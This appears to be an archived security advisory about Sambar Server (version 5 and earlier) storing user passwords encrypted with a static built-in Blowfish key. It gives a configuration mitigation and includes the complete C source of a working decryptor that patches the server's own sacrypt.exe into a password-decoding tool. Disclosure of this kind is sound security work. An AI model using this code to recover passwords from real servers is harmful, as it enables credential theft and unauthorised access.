COMMAND
Sambar
SYSTEMS AFFECTED
Sambar
PROBLEM
3APA3A found following. Sambar Server (Web/Mail/Proxy for
Windows) by default stores password encrypted with blowfish with
static built-in key. (Documentation states passwords can't be
recovered but server recovers passwords for some needs). There
is no even need to discover this key because Sambar has decoding
procedure inside. Attached is simple program to launch decoding.
Copy it to Sambar's /bin and treat is as a tool to recover
forgotten passwords :)
In config.ini you can set
Use Unix crypt = true
to make Sambar use crypt()-like non-recoverable DES format.
/*
Sambar 5 (and prior) password decryptor by 3APA3A
it doesn't realizes any decryption algorithm - it
patches sacrypt.exe to load cm_twowaydecrypt()
instead of cm_twowayencrypt() from sambarcm.dll
with same keys and parameters and uses this cracked
version (decode.exe) for password recovery. It
really works because Sambar uses symmetric algorithm.
It will fail on some passwords if encoded
password contains shell-symbols. Who cares?
http://www.security.nnov.ru <3APA3A@security.nnov.ru>
/\_/\
{ . . } |\
+--oQQo->{ ^ }<-----+ \
| 3APA3A U 3APA3A }
+-------------o66o--+ /
|/
You know my name - look up my number (The Beatles)
*/
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <process.h>
void usage(){
fprintf(stderr, "Sambar password decoder by 3APA3A.....\n"
" copy sadecrypt.exe to Sambar /bin\n"
" usage: sadecrypt <encrypted-password>\n");
exit(1);
}
int hex2bin(char * hex, char *bin){
char * s = "0123456789ABCDEF";
char * p;
int c;
int res=-1;
int i=0,j=0;
while ((c=hex[i++])!=0){
if((p=strchr(s, c))!=0){
if(res==-1)res=p-s;
else {
bin[j++] = res*16+(p-s);
res=-1;
}
}
}
bin[j]=0;
return j;
}
typedef enum { normal, _t, _tw, _two, _twow, _twowa, _twoway,
_twowaye, _twowayen, _twowayenc} STATES;
STATES cr_state;
typedef struct {
int expect;
int change;
}STATE;
STATE states[] = {
't', 0,
'w', 0,
'o', 0,
'w', 0,
'a', 0,
'y', 0,
'e', 'd',
'n', 'e',
'c', 0,
0, 0
};
void crack(void){
FILE *fpin, *fpout;
int c;
int patched = 0;
int ndecoded;
if(!(fpin=fopen("sacrypt.exe", "rb"))){
fprintf(stderr, "Unable to find sacrypt.exe\n");
usage();
}
if(!(fpout=fopen("decode.exe", "wb"))){
fprintf(stderr, "Unable to create decode.exe\n");
usage();
}
fprintf(stderr, "Sambar sadecrypt by 3APA3A@SECURITY.NNOV.RU\n"
"Patching sacrypt.exe to decode.exe.... ");
cr_state = normal;
while((c=fgetc(fpin))!=EOF){
if(states[cr_state].expect!=c){
cr_state=normal;
fputc(c, fpout);
}
else {
if(states[cr_state].change)putc(states[cr_state].change, fpout);
else putc(c, fpout);
cr_state++;
if (!states[cr_state].expect) {
cr_state = normal;
patched++;
}
}
}
fclose(fpin);
fclose(fpout);
if(!patched)fprintf(stderr, "This file doesn't look like sacrypt\n");
else fprintf(stderr, "%d fragment(s) patched\n", patched);
}
int main(int argc, char* argv[]){
char buffer[1024];
char buffer2[1024];
struct stat de_stat;
FILE* fp;
int i,j,ndecoded;
if (argc!=2) {
usage();
}
if(strlen(argv[1])>1000)argv[1][1000]=0;
if(stat("decode.exe", &de_stat))crack();
strcpy(buffer, "decode.exe \"");
ndecoded=hex2bin(argv[1], buffer2);
for(i=12, j=0; j<ndecoded&&i<1020;){
if(buffer2[j]=='\"')buffer[i++]='\\';
buffer[i++]=buffer2[j++];
}
buffer[i]=0;
strcat(buffer, "\"");
fp=popen(buffer, "r");
fgets(buffer, 1000, fp);
pclose(fp);
hex2bin(buffer, buffer);
printf("%s\n", buffer);
/* May be it's better do this way... But most password still acceptable
freopen("sadecrypt.tmp", "w", stdout);
spawnlp(_P_WAIT, "decode.exe" "decode.exe", buffer, NULL);
fflush(stdout);
freopen("con", "w", stdout);
fp=fopen("sadecrypt.tmp", "r");
if(!fgets(buffer, 1023, fp))fprintf(stderr, "Empty!\n");
fclose(fp);
unlink("sadecrypt.tmp");
hex2bin(buffer, buffer);
fprintf(stdout, "%s\n", buffer);
*/
}
SOLUTION
Nothing yet.